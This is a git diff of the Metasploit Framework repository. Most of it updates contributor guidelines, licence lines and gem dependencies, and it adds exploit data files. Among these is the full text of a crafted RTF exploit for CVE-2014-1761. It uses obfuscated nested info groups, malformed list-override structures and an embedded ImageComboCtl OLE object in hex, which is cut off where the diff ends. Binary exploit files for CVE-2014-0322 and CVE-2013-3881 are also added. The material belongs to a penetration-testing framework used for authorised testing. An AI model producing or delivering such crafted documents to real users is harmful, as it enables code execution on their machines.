diff --git a/.travis.yml b/.travis.yml index 6e4c13c878..0b946b2c5c 100644 --- a/.travis.yml +++ b/.travis.yml @@ -3,6 +3,12 @@ before_install: - rake --version - sudo apt-get update -qq - sudo apt-get install -qq libpcap-dev + # Uncomment when we have fewer shipping msftidy warnings. + # Merge committers will still be checking, just not autofailing. + # See https://dev.metasploit.com/redmine/issues/8498 + # - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge + # - ls -la ./.git/hooks + # - ./.git/hooks/post-merge before_script: - cp config/database.yml.travis config/database.yml - bundle exec rake --version diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 1d6a7b48e9..6f37c1be3c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,44 +1,70 @@ # Contributing to Metasploit -## Reporting Bugs +Thanks for your interest in making Metasploit -- and therefore, the +world -- a better place! What you see here in CONTRIBUTING.md is a +bullet-point list of the do's and don'ts of how to make sure *your* +valuable contributions actually make it into Metasploit's master branch. -If you would like to report a bug, please take a look at [our Redmine -issue -tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420) --- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle. +If you care not to follow these rules, your contribution **will** be +closed (*Road House* style). Sorry! -If your bug is new and you'd like to report it you will need to -[register -first](https://dev.metasploit.com/redmine/account/register). Don't -worry, it's easy and fun and takes about 30 seconds. +Incidentally, this is a **short** list. The +[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more +exhaustive and reveals many mysteries. If you read nothing else, take a +look at the standard [development environment setup +guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) +and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes). -When you file a bug report, please include your **steps to reproduce**, -full copy-pastes of Ruby stack traces, and any relevant details about -your environment. Without repro steps, your bug will likely be closed. -With repro steps, your bugs will likely be fixed. +## Code Contributions -## Contributing Metasploit Modules +* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide). +* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages. +* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`. -If you have an exploit that you'd like to contribute to the Metasploit -Framework, please familiarize yourself with the -**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)** -document in the -Metasploit-Framework repository. There are many mysteries revealed in -HACKING concerning code style and content. +### Pull Requests -[Pull requests](https://github.com/rapid7/metasploit-framework/pulls) -should corellate with modules at a 1:1 ratio --- there is rarely a good reason to have two, three, or ten modules on -one pull request, as this dramatically increases the review time -required to land (commit) any of those modules. +* **Do** target your pull request to the **master branch**. Not staging, not develop, not release. +* **Do** specify a descriptive title to make searching for your pull request easier. +* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`. +* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable. +* **Don't** leave your pull request description blank. +* **Don't** abandon your pull request. Being responsive helps us land your code faster. -Pull requests tend to be very collaborative for Metasploit -- do not be -surprised if your pull request to rapid7/metasploit-framework triggers a -pull request back to your own fork. In this way, we can isolate working -changes before landing your PR to the Metasploit master branch. +Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow. -To save yourself the embarrassment of committing common errors, you will -want to symlink the `msftidy.rb` utility to your pre-commit hooks by -running `ln -s ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit` -from the top-level directory of your metasploit-framework clone. This -will prevent you from committing modules that raise WARNINGS or ERRORS. +#### New Modules + +* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb). +* **Do** use the [many module mixin APIs](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much. +* **Don't** include more than one module per pull request. + +#### Library Code + +* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up. +* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs. +* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code. +* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate. + +#### Bug Fixes + +* **Do** include reproduction steps in the form of verification steps. +* **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description. + +## Bug Reports + +* **Do** report vulnerabilities in Rapid7 software to security@rapid7.com. +* **Do** create a Redmine account and report your bug there. +* **Do** write a detailed description of your bug and use a descriptive title. +* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug. +* **Don't** file duplicate reports - search for your bug before filing a new report. +* **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead. + +Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow. + +If you need some more guidance, talk to the main body of open +source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4) +or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers) +mailing list. + +Also, **thank you** for taking the few moments to read this far! You're +already way ahead of the curve, so keep it up! diff --git a/COPYING b/COPYING index abacaa53dd..6e9829593e 100644 --- a/COPYING +++ b/COPYING @@ -1,4 +1,4 @@ -Copyright (C) 2006-2013, Rapid7 Inc. +Copyright (C) 2006-2013, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, diff --git a/Gemfile b/Gemfile index 9dbb6ba2db..4b6fad4025 100755 --- a/Gemfile +++ b/Gemfile @@ -10,6 +10,8 @@ gem 'json' gem 'msgpack' # Needed by anemone crawler gem 'nokogiri' +# Needed by JSObfu +gem 'rkelly-remix', '0.0.6' # Needed by anemone crawler gem 'robots' # Needed by db.rb and Msf::Exploit::Capture @@ -19,7 +21,7 @@ group :db do # Needed for Msf::DbManager gem 'activerecord' # Database models shared between framework and Pro. - gem 'metasploit_data_models', '~> 0.16.9' + gem 'metasploit_data_models', '~> 0.17.0' # Needed for module caching in Mdm::ModuleDetails gem 'pg', '>= 0.11' end diff --git a/Gemfile.lock b/Gemfile.lock index d23d0eb424..6bc1f62dac 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -22,7 +22,7 @@ GEM fivemat (1.2.1) i18n (0.6.5) json (1.8.0) - metasploit_data_models (0.16.9) + metasploit_data_models (0.17.0) activerecord (>= 3.2.13) activesupport pg @@ -37,6 +37,7 @@ GEM pg (0.16.0) rake (10.1.0) redcarpet (3.0.0) + rkelly-remix (0.0.6) robots (0.10.1) rspec (2.14.1) rspec-core (~> 2.14.0) @@ -67,7 +68,7 @@ DEPENDENCIES factory_girl (>= 4.1.0) fivemat (= 1.2.1) json - metasploit_data_models (~> 0.16.9) + metasploit_data_models (~> 0.17.0) msgpack network_interface (~> 0.0.1) nokogiri @@ -76,6 +77,7 @@ DEPENDENCIES pg (>= 0.11) rake (>= 10.0.0) redcarpet + rkelly-remix (= 0.0.6) robots rspec (>= 2.12) shoulda-matchers diff --git a/HACKING b/HACKING index a0a03362c0..1de1e7cfa1 100644 --- a/HACKING +++ b/HACKING @@ -1,146 +1,38 @@ -# $Id$ +HACKING +======= -This file contains some brief instructions on contributing to the -Metasploit Framework. +(Last updated: 2014-03-04) -Code Style -========== +This document almost entirely deprecated by: -In order to maintain consistency and readability, we ask that you -adhere to the following style guidelines: +CONTRIBUTING.md - - Standard Ruby two-space soft tabs, not hard tabs. - - Try to keep your lines under 100 columns (assuming two-space tabs) - - do; end instead of {} for a block - - Always use str[0,1] instead of str[0] - (This avoids a known ruby 1.8/1.9 incompatibility.) - - Method names should always be lower_case and words separated by "_" - - Variable names should be lower case with words separated by "_" - - Don't depend on any external gems or libraries without talking to - todb to resolve packaging and licensing issues - -You can use the the "./tools/msftidy.rb" script to do some rudimentary -checking for various violations. - - -Code No-Nos -=========== - -1. Don't print to standard output. Doing so means that users of -interfaces other than msfconsole, such as msfrpc and msfgui, won't see -your output. You can use print_line to accomplish the same thing as -puts. - -2. Don't read from standard input, doing so will make your code -lock up the entire module when called from other interfaces. If you -need user input, you can either register an option or expose an -interactive session type specific for the type of exploit. - -3. Always use Rex sockets, not ruby sockets. This includes -third-party libraries such as Net::Http. There are several very good -reasons for this rule. First, the framework doesn't get notified on -the creation of ruby sockets and won't know how to clean them up in -case your module raises an exception without cleaning up after itself. -Secondly, non-Rex sockets do not know about routes and therefore can't -be used through a meterpreter tunnel. Lastly, regular sockets miss -out on msf's proxy and SSL features. Msf includes many protocols -already implemented with Rex and if the protocol you need is missing, -porting another library to use them is straight-forward. See our -Net::SSH modifications in lib/net/ssh/ for an example. - -4. When opening an IO stream, always force binary with "b" mode (or -using IO#binmode). This not only helps keep Windows and non-Windows -runtime environments consistent with each other, but also guarantees -that files will be treated as ASCII-8BIT instead of UTF-8. - -5. Don't use String#[] for a single character. This returns a Fixnum in -ruby 1.8 and a String in 1.9, so it's safer to use the following idiom: - str[idx,1] -which always returns a String. If you need the ASCII byte, unpack it like -so: - tr[idx,1].unpack("C")[0] - -6. Whenever possible, avoid using '+' or '+=' to concatenate strings. -The '<<' operator is significantly faster. The difference will become -even more apparent when doing string manipulation in a loop. The -following table approximates the underlying implementation: - - Ruby Pseudo-C - ----------- ---------------- - a = b + c a = malloc(b.len+c.len+1); - strcpy(a, b); - memcpy(a+b.len, c, c.len); - a[b.len + c.len] = '\0'; - a = b a = b; - a << c a = realloc(a, a.len+c.len+1); - memcpy(a+a.len, c, c.len); - a[a.len + c.len] = '\0'; - -Note that the original value of 'b' is lost in the second case. Care -must be taken to duplicate strings that you do not want to modify. - -7. For other Ruby 1.8.x/1.9.x compat issues, please see Sam Ruby's -excellent slide show at -for an overview of common and not-so-common Ruby version related gotchas. - -8. Never, ever use $global variables. This applies to modules, mixins, -and libraries. If you need a "global" within a specific class, you can -use @@class_variables, but most modules should use @instance variables -to store information between methods. - -9. Don't craft your XML document raw or by using Nokogiri, the current -preferred way is REXML. - -Creating New Modules -==================== - -When creating a new module, the simplest way to start is to copy -another module that uses the same protocol and modify it to your -needs. If you're creating an exploit module, generally you'll want -to edit the exploit() method. Auxiliary Scanner modules use one of -run_host(), run_range(), or run_batch() instead of exploit(). -Non-scanner aux modules use run(). - - -Submitting Your Code -==================== - -To get started with a Metasploit Framework source clone, simply: - - - Fork rapid7/metasploit-framework to your GitHub account - - git clone git://github.com/YourName/metasploit-framework.git - - gem install bundler - - bundle install - -More detailed documentation regarding the process for submitting new -modules via GitHub is documented here: +in the same directory as this file, and to a lesser extent: +The Metasploit Development Environment https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment -This describes the process of forking, editing, and generating a -pull request, and is the preferred method for bringing new modules -and framework enhancements to the attention of the core Metasploit -development team. Note that this process requires a GitHub account. +Common Coding Mistakes +https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes -For Git commits, please adhere to 50/72 formatting: your commits should -start with a line 50 characters or less, followed by a blank line, -followed by one or more lines of explanatory text wrapped at at 72 -characters Pull requests with commits not formatted this way will -be rejected without review. +The Ruby Style Guide +https://github.com/bbatsov/ruby-style-guide -For modules, note that Author field is not automatic, and should be -filled in in the format of 'Your Name ' so future -developers can contact you with any questions. +Ruby 1.9: What to Expect +http://slideshow.rubyforge.org/ruby19.html + +You can use the the "./tools/msftidy.rb" script against your new and +changed modules to do some rudimentary checking for various style and +syntax violations. + +Licensing for Your New Content +============================== -Licensing -========= By submitting code contributions to the Metasploit Project it is assumed that you are offering your code under the Metasploit License -or similar 3-clause BSD-compatible license. MIT and Ruby Licenses +or similar 3-clause BSD-compatible license. MIT and Ruby Licenses are also fine. We specifically cannot include GPL code. LGPL code -is accepted on a case by case basis for libraries only and is never +is accepted on a case by case basis for libraries only and is never accepted for modules. -When possible, such as aux and exploit modules, be sure to include -your license designation in the file in the appropriate place. diff --git a/LICENSE b/LICENSE index 8079572def..eb9c447f67 100644 --- a/LICENSE +++ b/LICENSE @@ -2,19 +2,23 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ Source: http://www.metasploit.com/ Files: * -Copyright: 2006-2013, Rapid7 Inc. +Copyright: 2006-2014, Rapid7, Inc. License: BSD-3-clause # The Metasploit Framework is provided under the 3-clause BSD license provided # at the end of this file. # -# The copyright on this package is held by Rapid7 LLC. +# The copyright on this package is held by Rapid7, Inc. # # This license does not apply to third-party components detailed below. # # Last updated: 2013-Nov-04 # +Files: data/templates/to_mem_pshreflection.ps1.template +Copyright: 2012, Matthew Graeber +License: BSD-3-clause + Files: data/john/* Copyright: 1996-2011 Solar Designer. License: GPL-2 @@ -80,7 +84,7 @@ Copyright: 2005-2009, Joel VanderWerf License: Ruby Files: lib/fastlib.rb -Copyright: 2011, Rapid7 Inc. +Copyright: 2011, Rapid7, Inc. License: Ruby Files: lib/metasm.rb lib/metasm/* data/cpuinfo/* @@ -147,6 +151,11 @@ Files: modules/payloads/singles/windows/speak_pwned.rb Copyright: 2009-2010 Berend-Jan "SkyLined" Wever License: BSD-3-clause +Files: data/webcam/api.js +Copyright: Copyright 2013 Muaz Khan<@muazkh>. +License: MIT + + # # Gems # @@ -167,6 +176,10 @@ Files: arel Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson License: MIT +Files: bcrypt-ruby +Copyright: 2007-2011 Coda Hale +License: MIT + Files: builder Copyright: 2003-2012 Jim Weirich (jim.weirich@gmail.com) License: MIT @@ -301,7 +314,7 @@ License: BSD-3-clause this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. . - * Neither the name of Rapid7 LLC nor the names of its contributors + * Neither the name of Rapid7, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. . diff --git a/README.md b/README.md index 3bd0c6cc5f..7141aaf065 100644 --- a/README.md +++ b/README.md @@ -24,10 +24,11 @@ The mailing list archives are available from: Installing -- -Generally, you should use the installer which contains all dependencies -and will get you up and running with a few clicks. See the [Dev -Environment Setup][wiki-devenv] if you'd like to deal with dependencies -on your own. + +Generally, you should use [the free installer](https://www.metasploit.com/download) +which contains all dependencies and will get you up and running with a +few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if +you'd like to deal with dependencies on your own. Using Metasploit -- diff --git a/data/exploits/CVE-2014-0322/AsXploit.swf b/data/exploits/CVE-2014-0322/AsXploit.swf new file mode 100755 index 0000000000..4e16ac3ccf Binary files /dev/null and b/data/exploits/CVE-2014-0322/AsXploit.swf differ diff --git a/data/exploits/capture/http/forms/extractforms.rb b/data/exploits/capture/http/forms/extractforms.rb index 68d64581cc..f734949a5a 100755 --- a/data/exploits/capture/http/forms/extractforms.rb +++ b/data/exploits/capture/http/forms/extractforms.rb @@ -1,6 +1,6 @@ #!/usr/bin/env ruby -# Copyright (C) 2008 Metasploit LLC +# Copyright (C) 2008 Rapid7, Inc. # # This script extracts the forms from the main page of each diff --git a/data/exploits/capture/http/forms/grabforms.rb b/data/exploits/capture/http/forms/grabforms.rb index 98a6e3400a..76f0c00533 100755 --- a/data/exploits/capture/http/forms/grabforms.rb +++ b/data/exploits/capture/http/forms/grabforms.rb @@ -1,6 +1,6 @@ #!/usr/bin/env ruby -# Copyright (C) 2008 Metasploit LLC +# Copyright (C) 2008 Rapid7, Inc. # # This script extracts the forms from the main page of each diff --git a/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll b/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll new file mode 100755 index 0000000000..6745431ff3 Binary files /dev/null and b/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll differ diff --git a/data/exploits/cve-2014-1610/metasploit.djvu b/data/exploits/cve-2014-1610/metasploit.djvu new file mode 100644 index 0000000000..eb000fa840 Binary files /dev/null and b/data/exploits/cve-2014-1610/metasploit.djvu differ diff --git a/data/exploits/cve-2014-1610/readme.md b/data/exploits/cve-2014-1610/readme.md new file mode 100644 index 0000000000..cb6dc25c27 --- /dev/null +++ b/data/exploits/cve-2014-1610/readme.md @@ -0,0 +1 @@ +Any DjVu file can be used this is just a snazzy Metasploit one diff --git a/data/exploits/cve-2014-1761.rtf b/data/exploits/cve-2014-1761.rtf new file mode 100755 index 0000000000..ff8bb04e9c --- /dev/null +++ b/data/exploits/cve-2014-1761.rtf @@ -0,0 +1,183 @@ +{\rt{{{\{\info{\author ismail - [2010{\n{\info{\author ismail - [2010]}ofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}]}info{\revtim\yr{\creatim\yr2014\{\info{\author ismail - [2010]}mo3\dy8\hr3\min9}2014\m{\revt{\*\company home}im\yr2014\mo3\dy8\hr3\min9}{\info{{\revtim\yr2014\mo3\dy8\hr3\min9}\author ismail - [201{\crea{{\revtim\yr2014\mo3\dy8\hr3\min9}\info{\author ismail - [2010]}tim\yr2014\mo3\dy8\hr3\min9}0]}o3\dy8\hr3\min9}{\aut{\nofcha{\info{\author ismail - [2010]}rsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3{\creatim\yr2014\mo3\dy8\hr3\min9}\dy8\hr3\min9}\* +sidtbl +{\creatim\yr2014\mo3\dy8\hr3\min9}sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}hor ismail - [2010]}\revtim{\info{\author ismail - [20{\info{\author ismail - [2010]}10]}\yr2014\mo3\dy8\hr3\min9}{\revt{\inf{\c{\*\{\nofcharsw{\nofcharsws69}{\op{\c{\*\company home}reatim\yr2014\mo3\dy8{\creatim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}erator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}s69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}company home}reatim\yr2014\mo3\dy8\hr3\min9}o{\author ismail - [201{\nofcharsws69}{\operator is{{\revtim\yr2014\mo3\dy8\hr3\min9}\*\company home}mail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}0]}im\yr2014\m{\info{\author ism{\creatim\yr2014\mo3\dy8\hr3\min9}ai{\revtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}o3\dy8\hr3\min9}{\*\company home}\i{{{\crea{\nofcharsws69}{\operator ismai{\creatim{\nofcharsws69}{\o{\*\company home}{\revtim\yr2014\mo3\dy8\hr3\min9}perator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014{\*\company home}\mo3\dy8\hr3\min9}l - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}tim{\nofcharsws{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}69}{\operator ismail - [2010]}{\* +sidtbl{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;} +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014\mo3\dy8{\revtim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}\{{\creatim\yr2014\mo3\dy8\hr3\min9}\cr{\creati{\*\company home}m{\*\company home}\yr2{\creatim\yr2014\mo3\dy8\hr3\min9}0{\revtim\yr2014\mo3\dy8\hr3\min9}14\mo3\dy8\hr3\min9}eatim{\*\company home{\creatim\yr2014\mo3\dy8\hr3\min9}}\yr2014\mo3\dy8\hr3\min9{\*\compa{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ny home}}revtim\yr20{\nof{\cr{\creatim\yr2014\mo3\dy8\hr3\min9}eatim\yr2014\mo3\dy8\hr3\min9}charsws69}{\ope{{\creatim\yr2014\mo3\dy8\hr3\min9}\*\company home}rator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\revtim\yr2014\mo3\dy8\hr3\min9}14\{\creatim\yr2014\mo3\{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}dy8\hr3\min9}mo3\dy8\hr{\info{\auth{\info{\author ismail - {\*\company home}[2010]}or ismail - [2010]}3\min9}{\*\company{\info{\author ismail - [2010]} home}\*\company home}nfo{\*\company home}{\author{\info{\auth{\info{\author ismail - [2010]}or ismail - [2010]} ismail - [2010]}{\r{{\*\company home}\revt{\n{\nofcharsws69}{\operator ismail - [2010]}{\* +si{\revtim\yr2014\mo3\dy8\hr3\min9}dt{\info{\author ismail - [2010]}bl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr20{{{\r{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}\nofcharsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3\dy8\hr3\min9}\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\info{\a{\revtim\yr2014\mo3\dy8\hr3\min9}uthor isma{\creatim\yr2014\mo3\dy8{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\hr3\min9}il - [2010]}14\mo3\dy8\hr3\{\*\company home}min9}evtim\yr{\no{\revtim\yr2014{\*\company home}\mo3\dy8\hr3\min9}fcharsws69}{\operator ismail - [2010]}{\* +sidtbl +{\*\company home}s{\revtim\yr2014\mo3\dy8\hr3\min9}id8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}2014\mo3\dy8\{{\creatim\yr201{\*\company home}4\{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}mo3\dy8\hr3\min9}\revtim\yr2014\mo3\dy8\hr3\min9}hr3\min9}f1{{\inf{\creatim\yr2014\mo3\dy8\hr3\min9}{\*\company home}o{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\a{\info{\no{\*\company home}fcharsws69}{\ope{\*\company home}rator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\author ismai{\r{\no{\revtim\yr2014\mo3\dy8\hr3\min9}fcharsws69}{\oper{\creatim\y{\creatim\yr2014\mo3\dy8\hr3\min9}r2014\mo3\dy8\hr3\min9}ator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}uthor isma{\*\company home{\info{\author ismail - [2010]}}il - [2010]}\*\list{{\creat{\{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr2014{\revtim\yr2014\mo3\dy8\hr3\min9}\mo3\dy8\hr3\min9}\*\company home}{\revti{\*\company home}m\yr2014\mo3\dy8\hr3\min9}{\revtim\yr2014\mo3\dy8\h{\creatim\yr2014\mo3\dy8\hr3\min9}r3\mi{\creatim\yr2014\mo3\dy{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}8\hr3\min9}n9}overridetable{\listoverride\listid1094795585\listoverridecount25 +{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn232\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart1\levelpicture1\levelold1\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\leveltext\'ff\u-48831 ?\u48831 ?;}{\levelnumbers\'5A'‰dY'ï¸X';}\chbrdr\brdrnone\brdrcf1\chshdng0\chcfpat1\chcbpat1\f4\rtlch\fcs1 \af0 \ltrch\fbias0 \s69\hres1\chhres1\fi-361\li1081\lin6480\jclisttab\tx1081}} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'92ZDCBA„Y';}}} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn194\leveljc0\leveljcn3\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'5C'ÎÂX'ABCD;}}} +{\lfolevel}{\lfolevel}{\lfolevel} +\ls16962}} +{\object\objocx\f37\objsetsize\objw1500\objh749{\*\objclass MSComctlLib.ImageComboCtl.2}{\*\objdata 01050000020000001c000000 +4d53436f6d63746c4c69622e496d616765436f6d626f43746c2e32000000000000000000001e0000 +d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000b00000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +fffffffffffffffffdffffff0d000000030000000400000005000000060000000700000008000000090000000a000000fefffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000066a69ddd9485d111b16a00c0f0283628000000000000000000000000e01c 